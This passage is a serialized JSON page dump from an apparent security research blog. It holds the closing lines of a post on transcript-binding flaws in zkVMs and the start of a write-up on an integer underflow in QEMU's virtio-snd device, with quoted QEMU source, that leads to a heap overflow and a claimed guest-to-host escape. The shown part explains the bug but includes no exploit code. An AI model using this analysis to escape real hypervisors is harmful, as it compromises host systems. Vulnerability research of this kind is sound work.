simple. Hash everything, derive challenges. In practice, \"everything\" is hard to specify when you have dozens of components, each with its own inputs and outputs, each expecting someone else to handle binding.",{"type":23,"tag":32,"props":133920,"children":133921},{},[133922],{"type":29,"value":133923},"We found six instances by examining a handful of systems. How many more exist in the dozens of zkVMs, proof systems, and recursive verifiers deployed today?",{"type":23,"tag":32,"props":133925,"children":133926},{},[133927,133932],{"type":23,"tag":16596,"props":133928,"children":133929},{},[133930],{"type":29,"value":133931},"For auditors:",{"type":29,"value":133933}," Draw the data flow. Trace the transcript. Check every prover-controlled value against when its relevant challenges are derived.",{"type":23,"tag":32,"props":133935,"children":133936},{},[133937,133942],{"type":23,"tag":16596,"props":133938,"children":133939},{},[133940],{"type":29,"value":133941},"For builders:",{"type":29,"value":133943}," Treat the transcript as a sacred ledger. When in doubt, absorb it.",{"type":23,"tag":14130,"props":133945,"children":133946},{},[133947],{"type":29,"value":14134},{"title":7,"searchDepth":100,"depth":100,"links":133949},[133950,133951,133954,133960,133961,133969,133975,133978,133979,133983],{"id":118246,"depth":100,"text":118249},{"id":118388,"depth":100,"text":118391,"children":133952},[133953],{"id":118394,"depth":121,"text":118397},{"id":118823,"depth":100,"text":118826,"children":133955},[133956,133957,133958,133959],{"id":118834,"depth":121,"text":118837},{"id":119022,"depth":121,"text":119025},{"id":122403,"depth":121,"text":122406},{"id":123617,"depth":121,"text":123620},{"id":125254,"depth":100,"text":125257},{"id":125760,"depth":100,"text":125763,"children":133962},[133963,133964,133965,133966,133967,133968],{"id":125782,"depth":121,"text":125785},{"id":127107,"depth":121,"text":118201},{"id":128243,"depth":121,"text":128246},{"id":128911,"depth":121,"text":128914},{"id":131567,"depth":121,"text":131570},{"id":132121,"depth":121,"text":118225},{"id":133050,"depth":100,"text":133053,"children":133970},[133971,133972,133973,133974],{"id":133061,"depth":121,"text":133064},{"id":133231,"depth":121,"text":133234},{"id":133255,"depth":121,"text":133258},{"id":133271,"depth":121,"text":133274},{"id":133285,"depth":100,"text":133288,"children":133976},[133977],{"id":133291,"depth":121,"text":133294},{"id":133325,"depth":100,"text":133328},{"id":133502,"depth":100,"text":118238,"children":133980},[133981,133982],{"id":133835,"depth":121,"text":118195},{"id":133864,"depth":121,"text":118201},{"id":133895,"depth":100,"text":133898},"content:blog:2026-03-03-zkvms-unfaithful-claims.md","blog/2026-03-03-zkvms-unfaithful-claims.md","blog/2026-03-03-zkvms-unfaithful-claims",{"_path":133988,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":133989,"description":133990,"date":133991,"author":133992,"image":133993,"isFeatured":15,"onBlogPage":15,"tags":133995,"body":133998,"_type":14157,"_id":142284,"_source":14159,"_file":142285,"_stem":142286,"_extension":14162},"/blog/2026-03-17-virtio-snd-qemu-hypervisor-escape","From virtio-snd 0-Day to Hypervisor Escape: Exploiting QEMU with an Uncontrolled Heap Overflow","Turning an uncontrolled heap overflow into a reliable QEMU guest-to-host escape using new glibc allocator behavior and QEMU-specific heap spray techniques.","2026-03-17T12:00:00.000Z","hrvoje",{"src":133994,"width":107603,"height":14},"/posts/virtio-snd-qemu-0day/title.png",[133996,133997],"qemu","heap-overflow",{"type":20,"children":133999,"toc":142266},[134000,134005,134010,134015,134021,134026,134031,134039,134045,134057,134061,134066,134074,134079,134085,134090,134103,134713,134748,134793,134827,134862,134997,135045,135051,135056,135812,135857,135893,135928,135993,136013,136463,136510,136513,136518,136583,136609,136631,136635,136640,136645,136651,136656,136661,136666,136672,136685,136691,136696,136704,136774,136779,136785,136798,137024,137087,137106,137489,137494,137527,137532,137808,137820,137838,138117,138129,138132,138167,138172,138178,138190,138202,138207,138212,138222,138257,138874,138906,138917,138953,138966,138972,138984,138992,139018,139023,139056,139097,139103,139122,139160,139168,139217,139222,139271,139276,139284,139371,139377,139416,139428,139436,139454,139473,139481,139493,139501,139520,139528,139539,139547,139558,139566,139579,139587,139593,139598,139611,139619,139637,139645,139657,139662,139670,139706,139739,139746,139780,139788,139793,139799,139811,139822,140101,140161,140229,140237,140271,140875,140886,140894,140900,140905,140916,141670,141703,141715,141801,141821,142030,142077,142089,142095,142114,142140,142168,142184,142211,142214,142234,142248,142252,142257,142262],{"type":23,"tag":32,"props":134001,"children":134002},{},[134003],{"type":29,"value":134004},"Heap overflows are often exploitable, but far less so when the corrupted bytes are not under your control. In many cases, that kind of bug is written off as a crash and nothing more. However, in this post we show how we turned such an overflow into a reliable QEMU guest-to-host escape by abusing new glibc allocator behavior and QEMU-specific heap spray techniques.",{"type":23,"tag":24,"props":134006,"children":134007},{"id":133996},[134008],{"type":29,"value":134009},"QEMU",{"type":23,"tag":32,"props":134011,"children":134012},{},[134013],{"type":29,"value":134014},"QEMU is a machine emulator and virtualizer that lets a host system run guest operating systems. It presents the guest with virtual hardware, while the logic backing that hardware runs inside the host-side QEMU process.",{"type":23,"tag":923,"props":134016,"children":134018},{"id":134017},"virtio-devices",[134019],{"type":29,"value":134020},"Virtio Devices",{"type":23,"tag":32,"props":134022,"children":134023},{},[134024],{"type":29,"value":134025},"For guest-to-host escape research, the interesting part of QEMU is the interface between the guest and those host-side device implementations. Every request sent by the guest is eventually parsed and handled by code running in the QEMU process. This is interesting because any unhandled edge case in the device could lead to some kind of host state corruption.",{"type":23,"tag":32,"props":134027,"children":134028},{},[134029],{"type":29,"value":134030},"At a high level, the communication between the driver running in the guest and the device running on the host is simple - the guest-side virtio driver shares requests over virtqueues, while the host-side virtio device consumes those requests, processes and returns responses.",{"type":23,"tag":32,"props":134032,"children":134033},{},[134034],{"type":23,"tag":15189,"props":134035,"children":134038},{"alt":134036,"src":134037},"flowchart1","/posts/virtio-snd-qemu-0day/flowchart1.png",[],{"type":23,"tag":24,"props":134040,"children":134042},{"id":134041},"finding-a-bug",[134043],{"type":29,"value":134044},"Finding a Bug",{"type":23,"tag":32,"props":134046,"children":134047},{},[134048,134050,134056],{"type":29,"value":134049},"While looking for devices to research, we focused on ones that seemed to have received less scrutiny in the past. With that in mind, we started with the sound device ",{"type":23,"tag":71,"props":134051,"children":134053},{"className":134052},[],[134054],{"type":29,"value":134055},"virtio-snd",{"type":29,"value":557},{"type":23,"tag":923,"props":134058,"children":134059},{"id":134055},[134060],{"type":29,"value":134055},{"type":23,"tag":32,"props":134062,"children":134063},{},[134064],{"type":29,"value":134065},"From the official documentation:",{"type":23,"tag":1829,"props":134067,"children":134068},{},[134069],{"type":23,"tag":32,"props":134070,"children":134071},{},[134072],{"type":29,"value":134073},"Virtio sound implements capture and playback from inside a guest using the configured audio backend of the host machine.",{"type":23,"tag":32,"props":134075,"children":134076},{},[134077],{"type":29,"value":134078},"Essentially, it allows software running inside the guest to interact with the host's audio stack through a paravirtualized sound device. Playback streams send guest-provided audio data to the host backend, while capture streams let the guest receive audio input from the host.",{"type":23,"tag":30116,"props":134080,"children":134082},{"id":134081},"audio-data-buffers",[134083],{"type":29,"value":134084},"Audio Data Buffers",{"type":23,"tag":32,"props":134086,"children":134087},{},[134088],{"type":29,"value":134089},"This audio data flows through buffers allocated by the host-side virtio-snd device and stored in a FIFO linked list for the corresponding stream.",{"type":23,"tag":32,"props":134091,"children":134092},{},[134093,134095,134101],{"type":29,"value":134094},"For example, the following is ",{"type":23,"tag":71,"props":134096,"children":134098},{"className":134097},[],[134099],{"type":29,"value":134100},"virtio_snd_handle_rx_xfer",{"type":29,"value":134102},", which is responsible for allocating buffers for an input audio stream:",{"type":23,"tag":64,"props":134104,"children":134106},{"code":134105,"language":14432,"meta":7,"className":27738,"style":7},"/*\n * The rx virtqueue handler. Makes the buffers available to their\n * respective streams for consumption.\n *\n * @vdev: VirtIOSound device\n * @vq: rx virtqueue\n */\nstatic void virtio_snd_handle_rx_xfer(VirtIODevice *vdev, VirtQueue *vq)\n{\n    VirtQueueElement *elem;\n    [...]\n\n    for (;;) {\n        VirtIOSoundPCMStream *stream;\n\n        elem = virtqueue_pop(vq, sizeof(VirtQueueElement));     // [1]\n        if (!elem) {\n            break;\n        }\n\n        [...]\n\n        WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n            size = iov_size(elem->in_sg, elem->in_num) -\n                sizeof(virtio_snd_pcm_status);                  // [2]\n            buffer = g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size);\n            buffer->elem = elem;\n            buffer->vq = vq;\n            buffer->size = 0;\n            buffer->offset = 0;\n            QSIMPLEQ_INSERT_TAIL(&stream->queue, buffer, entry); // [3]\n        }\n        continue;\n\n        [...]\n}\n\n",[134107],{"type":23,"tag":71,"props":134108,"children":134109},{"__ignoreMap":7},[134110,134117,134125,134133,134140,134148,134156,134164,134212,134219,134236,134243,134250,134262,134279,134286,134322,134342,134353,134360,134367,134375,134382,134415,134474,134492,134531,134556,134580,134608,134635,134673,134680,134692,134699,134706],{"type":23,"tag":75,"props":134111,"children":134112},{"class":77,"line":78},[134113],{"type":23,"tag":75,"props":134114,"children":134115},{"style":3621},[134116],{"type":29,"value":60552},{"type":23,"tag":75,"props":134118,"children":134119},{"class":77,"line":100},[134120],{"type":23,"tag":75,"props":134121,"children":134122},{"style":3621},[134123],{"type":29,"value":134124}," * The rx virtqueue handler. Makes the buffers available to their\n",{"type":23,"tag":75,"props":134126,"children":134127},{"class":77,"line":121},[134128],{"type":23,"tag":75,"props":134129,"children":134130},{"style":3621},[134131],{"type":29,"value":134132}," * respective streams for consumption.\n",{"type":23,"tag":75,"props":134134,"children":134135},{"class":77,"line":138},[134136],{"type":23,"tag":75,"props":134137,"children":134138},{"style":3621},[134139],{"type":29,"value":30711},{"type":23,"tag":75,"props":134141,"children":134142},{"class":77,"line":161},[134143],{"type":23,"tag":75,"props":134144,"children":134145},{"style":3621},[134146],{"type":29,"value":134147}," * @vdev: VirtIOSound device\n",{"type":23,"tag":75,"props":134149,"children":134150},{"class":77,"line":196},[134151],{"type":23,"tag":75,"props":134152,"children":134153},{"style":3621},[134154],{"type":29,"value":134155}," * @vq: rx virtqueue\n",{"type":23,"tag":75,"props":134157,"children":134158},{"class":77,"line":220},[134159],{"type":23,"tag":75,"props":134160,"children":134161},{"style":3621},[134162],{"type":29,"value":134163}," */\n",{"type":23,"tag":75,"props":134165,"children":134166},{"class":77,"line":248},[134167,134171,134175,134180,134185,134189,134194,134199,134203,134208],{"type":23,"tag":75,"props":134168,"children":134169},{"style":82},[134170],{"type":29,"value":62229},{"type":23,"tag":75,"props":134172,"children":134173},{"style":82},[134174],{"type":29,"value":62234},{"type":23,"tag":75,"props":134176,"children":134177},{"style":88},[134178],{"type":29,"value":134179}," virtio_snd_handle_rx_xfer",{"type":23,"tag":75,"props":134181,"children":134182},{"style":94},[134183],{"type":29,"value":134184},"(VirtIODevice ",{"type":23,"tag":75,"props":134186,"children":134187},{"style":209},[134188],{"type":29,"value":601},{"type":23,"tag":75,"props":134190,"children":134191},{"style":110},[134192],{"type":29,"value":134193},"vdev",{"type":23,"tag":75,"props":134195,"children":134196},{"style":94},[134197],{"type":29,"value":134198},", VirtQueue ",{"type":23,"tag":75,"props":134200,"children":134201},{"style":209},[134202],{"type":29,"value":601},{"type":23,"tag":75,"props":134204,"children":134205},{"style":110},[134206],{"type":29,"value":134207},"vq",{"type":23,"tag":75,"props":134209,"children":134210},{"style":94},[134211],{"type":29,"value":653},{"type":23,"tag":75,"props":134213,"children":134214},{"class":77,"line":270},[134215],{"type":23,"tag":75,"props":134216,"children":134217},{"style":94},[134218],{"type":29,"value":2549},{"type":23,"tag":75,"props":134220,"children":134221},{"class":77,"line":279},[134222,134227,134231],{"type":23,"tag":75,"props":134223,"children":134224},{"style":94},[134225],{"type":29,"value":134226},"    VirtQueueElement ",{"type":23,"tag":75,"props":134228,"children":134229},{"style":209},[134230],{"type":29,"value":601},{"type":23,"tag":75,"props":134232,"children":134233},{"style":94},[134234],{"type":29,"value":134235},"elem;\n",{"type":23,"tag":75,"props":134237,"children":134238},{"class":77,"line":303},[134239],{"type":23,"tag":75,"props":134240,"children":134241},{"style":94},[134242],{"type":29,"value":115136},{"type":23,"tag":75,"props":134244,"children":134245},{"class":77,"line":322},[134246],{"type":23,"tag":75,"props":134247,"children":134248},{"emptyLinePlaceholder":15},[134249],{"type":29,"value":276},{"type":23,"tag":75,"props":134251,"children":134252},{"class":77,"line":340},[134253,134257],{"type":23,"tag":75,"props":134254,"children":134255},{"style":175},[134256],{"type":29,"value":711},{"type":23,"tag":75,"props":134258,"children":134259},{"style":94},[134260],{"type":29,"value":134261}," (;;) {\n",{"type":23,"tag":75,"props":134263,"children":134264},{"class":77,"line":349},[134265,134270,134274],{"type":23,"tag":75,"props":134266,"children":134267},{"style":94},[134268],{"type":29,"value":134269},"        VirtIOSoundPCMStream ",{"type":23,"tag":75,"props":134271,"children":134272},{"style":209},[134273],{"type":29,"value":601},{"type":23,"tag":75,"props":134275,"children":134276},{"style":94},[134277],{"type":29,"value":134278},"stream;\n",{"type":23,"tag":75,"props":134280,"children":134281},{"class":77,"line":363},[134282],{"type":23,"tag":75,"props":134283,"children":134284},{"emptyLinePlaceholder":15},[134285],{"type":29,"value":276},{"type":23,"tag":75,"props":134287,"children":134288},{"class":77,"line":656},[134289,134294,134298,134303,134308,134312,134317],{"type":23,"tag":75,"props":134290,"children":134291},{"style":94},[134292],{"type":29,"value":134293},"        elem ",{"type":23,"tag":75,"props":134295,"children":134296},{"style":209},[134297],{"type":29,"value":212},{"type":23,"tag":75,"props":134299,"children":134300},{"style":88},[134301],{"type":29,"value":134302}," virtqueue_pop",{"type":23,"tag":75,"props":134304,"children":134305},{"style":94},[134306],{"type":29,"value":134307},"(vq, ",{"type":23,"tag":75,"props":134309,"children":134310},{"style":82},[134311],{"type":29,"value":66512},{"type":23,"tag":75,"props":134313,"children":134314},{"style":94},[134315],{"type":29,"value":134316},"(VirtQueueElement));",{"type":23,"tag":75,"props":134318,"children":134319},{"style":3621},[134320],{"type":29,"value":134321},"     // [1]\n",{"type":23,"tag":75,"props":134323,"children":134324},{"class":77,"line":705},[134325,134329,134333,134337],{"type":23,"tag":75,"props":134326,"children":134327},{"style":175},[134328],{"type":29,"value":2445},{"type":23,"tag":75,"props":134330,"children":134331},{"style":94},[134332],{"type":29,"value":183},{"type":23,"tag":75,"props":134334,"children":134335},{"style":209},[134336],{"type":29,"value":13434},{"type":23,"tag":75,"props":134338,"children":134339},{"style":94},[134340],{"type":29,"value":134341},"elem) {\n",{"type":23,"tag":75,"props":134343,"children":134344},{"class":77,"line":787},[134345,134349],{"type":23,"tag":75,"props":134346,"children":134347},{"style":175},[134348],{"type":29,"value":14581},{"type":23,"tag":75,"props":134350,"children":134351},{"style":94},[134352],{"type":29,"value":245},{"type":23,"tag":75,"props":134354,"children":134355},{"class":77,"line":826},[134356],{"type":23,"tag":75,"props":134357,"children":134358},{"style":94},[134359],{"type":29,"value":2503},{"type":23,"tag":75,"props":134361,"children":134362},{"class":77,"line":834},[134363],{"type":23,"tag":75,"props":134364,"children":134365},{"emptyLinePlaceholder":15},[134366],{"type":29,"value":276},{"type":23,"tag":75,"props":134368,"children":134369},{"class":77,"line":881},[134370],{"type":23,"tag":75,"props":134371,"children":134372},{"style":94},[134373],{"type":29,"value":134374},"        [...]\n",{"type":23,"tag":75,"props":134376,"children":134377},{"class":77,"line":3355},[134378],{"type":23,"tag":75,"props":134379,"children":134380},{"emptyLinePlaceholder":15},[134381],{"type":29,"value":276},{"type":23,"tag":75,"props":134383,"children":134384},{"class":77,"line":3390},[134385,134390,134394,134398,134402,134406,134411],{"type":23,"tag":75,"props":134386,"children":134387},{"style":88},[134388],{"type":29,"value":134389},"        WITH_QEMU_LOCK_GUARD",{"type":23,"tag":75,"props":134391,"children":134392},{"style":94},[134393],{"type":29,"value":643},{"type":23,"tag":75,"props":134395,"children":134396},{"style":209},[134397],{"type":29,"value":1277},{"type":23,"tag":75,"props":134399,"children":134400},{"style":110},[134401],{"type":29,"value":47453},{"type":23,"tag":75,"props":134403,"children":134404},{"style":94},[134405],{"type":29,"value":1156},{"type":23,"tag":75,"props":134407,"children":134408},{"style":110},[134409],{"type":29,"value":134410},"queue_mutex",{"type":23,"tag":75,"props":134412,"children":134413},{"style":94},[134414],{"type":29,"value":193},{"type":23,"tag":75,"props":134416,"children":134417},{"class":77,"line":3423},[134418,134423,134427,134432,134436,134440,134444,134449,134453,134457,134461,134466,134470],{"type":23,"tag":75,"props":134419,"children":134420},{"style":94},[134421],{"type":29,"value":134422},"            size ",{"type":23,"tag":75,"props":134424,"children":134425},{"style":209},[134426],{"type":29,"value":212},{"type":23,"tag":75,"props":134428,"children":134429},{"style":88},[134430],{"type":29,"value":134431}," iov_size",{"type":23,"tag":75,"props":134433,"children":134434},{"style":94},[134435],{"type":29,"value":643},{"type":23,"tag":75,"props":134437,"children":134438},{"style":110},[134439],{"type":29,"value":63249},{"type":23,"tag":75,"props":134441,"children":134442},{"style":94},[134443],{"type":29,"value":1156},{"type":23,"tag":75,"props":134445,"children":134446},{"style":110},[134447],{"type":29,"value":134448},"in_sg",{"type":23,"tag":75,"props":134450,"children":134451},{"style":94},[134452],{"type":29,"value":611},{"type":23,"tag":75,"props":134454,"children":134455},{"style":110},[134456],{"type":29,"value":63249},{"type":23,"tag":75,"props":134458,"children":134459},{"style":94},[134460],{"type":29,"value":1156},{"type":23,"tag":75,"props":134462,"children":134463},{"style":110},[134464],{"type":29,"value":134465},"in_num",{"type":23,"tag":75,"props":134467,"children":134468},{"style":94},[134469],{"type":29,"value":167},{"type":23,"tag":75,"props":134471,"children":134472},{"style":209},[134473],{"type":29,"value":62046},{"type":23,"tag":75,"props":134475,"children":134476},{"class":77,"line":3436},[134477,134482,134487],{"type":23,"tag":75,"props":134478,"children":134479},{"style":82},[134480],{"type":29,"value":134481},"                sizeof",{"type":23,"tag":75,"props":134483,"children":134484},{"style":94},[134485],{"type":29,"value":134486},"(virtio_snd_pcm_status);",{"type":23,"tag":75,"props":134488,"children":134489},{"style":3621},[134490],{"type":29,"value":134491},"                  // [2]\n",{"type":23,"tag":75,"props":134493,"children":134494},{"class":77,"line":3449},[134495,134500,134504,134509,134513,134517,134522,134526],{"type":23,"tag":75,"props":134496,"children":134497},{"style":94},[134498],{"type":29,"value":134499},"            buffer ",{"type":23,"tag":75,"props":134501,"children":134502},{"style":209},[134503],{"type":29,"value":212},{"type":23,"tag":75,"props":134505,"children":134506},{"style":88},[134507],{"type":29,"value":134508}," g_malloc0",{"type":23,"tag":75,"props":134510,"children":134511},{"style":94},[134512],{"type":29,"value":643},{"type":23,"tag":75,"props":134514,"children":134515},{"style":82},[134516],{"type":29,"value":66512},{"type":23,"tag":75,"props":134518,"children":134519},{"style":94},[134520],{"type":29,"value":134521},"(VirtIOSoundPCMBuffer) ",{"type":23,"tag":75,"props":134523,"children":134524},{"style":209},[134525],{"type":29,"value":7862},{"type":23,"tag":75,"props":134527,"children":134528},{"style":94},[134529],{"type":29,"value":134530}," size);\n",{"type":23,"tag":75,"props":134532,"children":134533},{"class":77,"line":3457},[134534,134539,134543,134547,134551],{"type":23,"tag":75,"props":134535,"children":134536},{"style":110},[134537],{"type":29,"value":134538},"            buffer",{"type":23,"tag":75,"props":134540,"children":134541},{"style":94},[134542],{"type":29,"value":1156},{"type":23,"tag":75,"props":134544,"children":134545},{"style":110},[134546],{"type":29,"value":63249},{"type":23,"tag":75,"props":134548,"children":134549},{"style":209},[134550],{"type":29,"value":1193},{"type":23,"tag":75,"props":134552,"children":134553},{"style":94},[134554],{"type":29,"value":134555}," elem;\n",{"type":23,"tag":75,"props":134557,"children":134558},{"class":77,"line":3465},[134559,134563,134567,134571,134575],{"type":23,"tag":75,"props":134560,"children":134561},{"style":110},[134562],{"type":29,"value":134538},{"type":23,"tag":75,"props":134564,"children":134565},{"style":94},[134566],{"type":29,"value":1156},{"type":23,"tag":75,"props":134568,"children":134569},{"style":110},[134570],{"type":29,"value":134207},{"type":23,"tag":75,"props":134572,"children":134573},{"style":209},[134574],{"type":29,"value":1193},{"type":23,"tag":75,"props":134576,"children":134577},{"style":94},[134578],{"type":29,"value":134579}," vq;\n",{"type":23,"tag":75,"props":134581,"children":134582},{"class":77,"line":3473},[134583,134587,134591,134596,134600,134604],{"type":23,"tag":75,"props":134584,"children":134585},{"style":110},[134586],{"type":29,"value":134538},{"type":23,"tag":75,"props":134588,"children":134589},{"style":94},[134590],{"type":29,"value":1156},{"type":23,"tag":75,"props":134592,"children":134593},{"style":110},[134594],{"type":29,"value":134595},"size",{"type":23,"tag":75,"props":134597,"children":134598},{"style":209},[134599],{"type":29,"value":1193},{"type":23,"tag":75,"props":134601,"children":134602},{"style":237},[134603],{"type":29,"value":240},{"type":23,"tag":75,"props":134605,"children":134606},{"style":94},[134607],{"type":29,"value":245},{"type":23,"tag":75,"props":134609,"children":134610},{"class":77,"line":3481},[134611,134615,134619,134623,134627,134631],{"type":23,"tag":75,"props":134612,"children":134613},{"style":110},[134614],{"type":29,"value":134538},{"type":23,"tag":75,"props":134616,"children":134617},{"style":94},[134618],{"type":29,"value":1156},{"type":23,"tag":75,"props":134620,"children":134621},{"style":110},[134622],{"type":29,"value":25142},{"type":23,"tag":75,"props":134624,"children":134625},{"style":209},[134626],{"type":29,"value":1193},{"type":23,"tag":75,"props":134628,"children":134629},{"style":237},[134630],{"type":29,"value":240},{"type":23,"tag":75,"props":134632,"children":134633},{"style":94},[134634],{"type":29,"value":245},{"type":23,"tag":75,"props":134636,"children":134637},{"class":77,"line":3524},[134638,134643,134647,134651,134655,134659,134664,134669],{"type":23,"tag":75,"props":134639,"children":134640},{"style":88},[134641],{"type":29,"value":134642},"            QSIMPLEQ_INSERT_TAIL",{"type":23,"tag":75,"props":134644,"children":134645},{"style":94},[134646],{"type":29,"value":643},{"type":23,"tag":75,"props":134648,"children":134649},{"style":209},[134650],{"type":29,"value":1277},{"type":23,"tag":75,"props":134652,"children":134653},{"style":110},[134654],{"type":29,"value":47453},{"type":23,"tag":75,"props":134656,"children":134657},{"style":94},[134658],{"type":29,"value":1156},{"type":23,"tag":75,"props":134660,"children":134661},{"style":110},[134662],{"type":29,"value":134663},"queue",{"type":23,"tag":75,"props":134665,"children":134666},{"style":94},[134667],{"type":29,"value":134668},", buffer, entry);",{"type":23,"tag":75,"props":134670,"children":134671},{"style":3621},[134672],{"type":29,"value":63814},{"type":23,"tag":75,"props":134674,"children":134675},{"class":77,"line":4890},[134676],{"type":23,"tag":75,"props":134677,"children":134678},{"style":94},[134679],{"type":29,"value":2503},{"type":23,"tag":75,"props":134681,"children":134682},{"class":77,"line":4937},[134683,134688],{"type":23,"tag":75,"props":134684,"children":134685},{"style":175},[134686],{"type":29,"value":134687},"        continue",{"type":23,"tag":75,"props":134689,"children":134690},{"style":94},[134691],{"type":29,"value":245},{"type":23,"tag":75,"props":134693,"children":134694},{"class":77,"line":4950},[134695],{"type":23,"tag":75,"props":134696,"children":134697},{"emptyLinePlaceholder":15},[134698],{"type":29,"value":276},{"type":23,"tag":75,"props":134700,"children":134701},{"class":77,"line":4958},[134702],{"type":23,"tag":75,"props":134703,"children":134704},{"style":94},[134705],{"type":29,"value":134374},{"type":23,"tag":75,"props":134707,"children":134708},{"class":77,"line":4967},[134709],{"type":23,"tag":75,"props":134710,"children":134711},{"style":94},[134712],{"type":29,"value":369},{"type":23,"tag":32,"props":134714,"children":134715},{},[134716,134718,134724,134726,134732,134734,134739,134740,134746],{"type":29,"value":134717},"At ",{"type":23,"tag":71,"props":134719,"children":134721},{"className":134720},[],[134722],{"type":29,"value":134723},"[1]",{"type":29,"value":134725},", a ",{"type":23,"tag":71,"props":134727,"children":134729},{"className":134728},[],[134730],{"type":29,"value":134731},"VirtQueueElement *elem",{"type":29,"value":134733}," is popped from the virtqueue. It contains the ",{"type":23,"tag":71,"props":134735,"children":134737},{"className":134736},[],[134738],{"type":29,"value":134448},{"type":29,"value":2721},{"type":23,"tag":71,"props":134741,"children":134743},{"className":134742},[],[134744],{"type":29,"value":134745},"out_sg",{"type":29,"value":134747}," iovecs that describe the guest request, and is therefore fully guest-controlled.",{"type":23,"tag":32,"props":134749,"children":134750},{},[134751,134753,134759,134761,134767,134769,134775,134777,134783,134785,134791],{"type":29,"value":134752},"Further at ",{"type":23,"tag":71,"props":134754,"children":134756},{"className":134755},[],[134757],{"type":29,"value":134758},"[2]",{"type":29,"value":134760},", the device computes the size of the data buffer as ",{"type":23,"tag":71,"props":134762,"children":134764},{"className":134763},[],[134765],{"type":29,"value":134766},"iov_size(elem->in_sg, elem->in_num) - sizeof(virtio_snd_pcm_status)",{"type":29,"value":134768},". That value is then used in the allocation: ",{"type":23,"tag":71,"props":134770,"children":134772},{"className":134771},[],[134773],{"type":29,"value":134774},"g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size)",{"type":29,"value":134776},". Finally, at ",{"type":23,"tag":71,"props":134778,"children":134780},{"className":134779},[],[134781],{"type":29,"value":134782},"[3]",{"type":29,"value":134784},", the newly allocated buffer is appended to the ",{"type":23,"tag":71,"props":134786,"children":134788},{"className":134787},[],[134789],{"type":29,"value":134790},"stream->queue",{"type":29,"value":134792}," linked list.",{"type":23,"tag":32,"props":134794,"children":134795},{},[134796,134798,134803,134805,134810,134812,134817,134819,134825],{"type":29,"value":134797},"Because both the ",{"type":23,"tag":71,"props":134799,"children":134801},{"className":134800},[],[134802],{"type":29,"value":134448},{"type":29,"value":134804}," iovec and the ",{"type":23,"tag":71,"props":134806,"children":134808},{"className":134807},[],[134809],{"type":29,"value":134465},{"type":29,"value":134811}," field are guest-controlled, and there is no check that the total ",{"type":23,"tag":71,"props":134813,"children":134815},{"className":134814},[],[134816],{"type":29,"value":134448},{"type":29,"value":134818}," size is at least ",{"type":23,"tag":71,"props":134820,"children":134822},{"className":134821},[],[134823],{"type":29,"value":134824},"sizeof(virtio_snd_pcm_status)",{"type":29,"value":134826},", this calculation can underflow if the guest provides a smaller input buffer - that gives us our first bug.",{"type":23,"tag":32,"props":134828,"children":134829},{},[134830,134832,134837,134839,134845,134847,134853,134855,134861],{"type":29,"value":134831},"From the guest driver, we can provide an empty ",{"type":23,"tag":71,"props":134833,"children":134835},{"className":134834},[],[134836],{"type":29,"value":134448},{"type":29,"value":134838}," iovec. In that case, the calculation becomes ",{"type":23,"tag":71,"props":134840,"children":134842},{"className":134841},[],[134843],{"type":29,"value":134844},"0 - sizeof(virtio_snd_pcm_status)",{"type":29,"value":134846},", so the allocation size effectively becomes ",{"type":23,"tag":71,"props":134848,"children":134850},{"className":134849},[],[134851],{"type":29,"value":134852},"sizeof(VirtIOSoundPCMBuffer) - 8",{"type":29,"value":134854},". Given the definition of ",{"type":23,"tag":71,"props":134856,"children":134858},{"className":134857},[],[134859],{"type":29,"value":134860},"VirtIOSoundPCMBuffer",{"type":29,"value":1018},{"type":23,"tag":64,"props":134863,"children":134865},{"code":134864,"language":14432,"meta":7,"className":27738,"style":7},"struct VirtIOSoundPCMBuffer {\n    QSIMPLEQ_ENTRY(VirtIOSoundPCMBuffer) entry;\n    VirtQueueElement *elem;\n    VirtQueue *vq;\n    size_t size;\n    uint64_t offset;\n    /* Used for the TX queue for lazy I/O copy from `elem` */\n    bool populated;\n    uint8_t data[];\n};\n",[134866],{"type":23,"tag":71,"props":134867,"children":134868},{"__ignoreMap":7},[134869,134881,134894,134909,134926,134938,134950,134958,134970,134990],{"type":23,"tag":75,"props":134870,"children":134871},{"class":77,"line":78},[134872,134876],{"type":23,"tag":75,"props":134873,"children":134874},{"style":82},[134875],{"type":29,"value":20652},{"type":23,"tag":75,"props":134877,"children":134878},{"style":94},[134879],{"type":29,"value":134880}," VirtIOSoundPCMBuffer {\n",{"type":23,"tag":75,"props":134882,"children":134883},{"class":77,"line":100},[134884,134889],{"type":23,"tag":75,"props":134885,"children":134886},{"style":88},[134887],{"type":29,"value":134888},"    QSIMPLEQ_ENTRY",{"type":23,"tag":75,"props":134890,"children":134891},{"style":94},[134892],{"type":29,"value":134893},"(VirtIOSoundPCMBuffer) entry;\n",{"type":23,"tag":75,"props":134895,"children":134896},{"class":77,"line":121},[134897,134901,134905],{"type":23,"tag":75,"props":134898,"children":134899},{"style":94},[134900],{"type":29,"value":134226},{"type":23,"tag":75,"props":134902,"children":134903},{"style":209},[134904],{"type":29,"value":601},{"type":23,"tag":75,"props":134906,"children":134907},{"style":94},[134908],{"type":29,"value":134235},{"type":23,"tag":75,"props":134910,"children":134911},{"class":77,"line":138},[134912,134917,134921],{"type":23,"tag":75,"props":134913,"children":134914},{"style":94},[134915],{"type":29,"value":134916},"    VirtQueue ",{"type":23,"tag":75,"props":134918,"children":134919},{"style":209},[134920],{"type":29,"value":601},{"type":23,"tag":75,"props":134922,"children":134923},{"style":94},[134924],{"type":29,"value":134925},"vq;\n",{"type":23,"tag":75,"props":134927,"children":134928},{"class":77,"line":161},[134929,134933],{"type":23,"tag":75,"props":134930,"children":134931},{"style":82},[134932],{"type":29,"value":27788},{"type":23,"tag":75,"props":134934,"children":134935},{"style":94},[134936],{"type":29,"value":134937}," size;\n",{"type":23,"tag":75,"props":134939,"children":134940},{"class":77,"line":196},[134941,134945],{"type":23,"tag":75,"props":134942,"children":134943},{"style":82},[134944],{"type":29,"value":66796},{"type":23,"tag":75,"props":134946,"children":134947},{"style":94},[134948],{"type":29,"value":134949}," offset;\n",{"type":23,"tag":75,"props":134951,"children":134952},{"class":77,"line":220},[134953],{"type":23,"tag":75,"props":134954,"children":134955},{"style":3621},[134956],{"type":29,"value":134957},"    /* Used for the TX queue for lazy I/O copy from `elem` 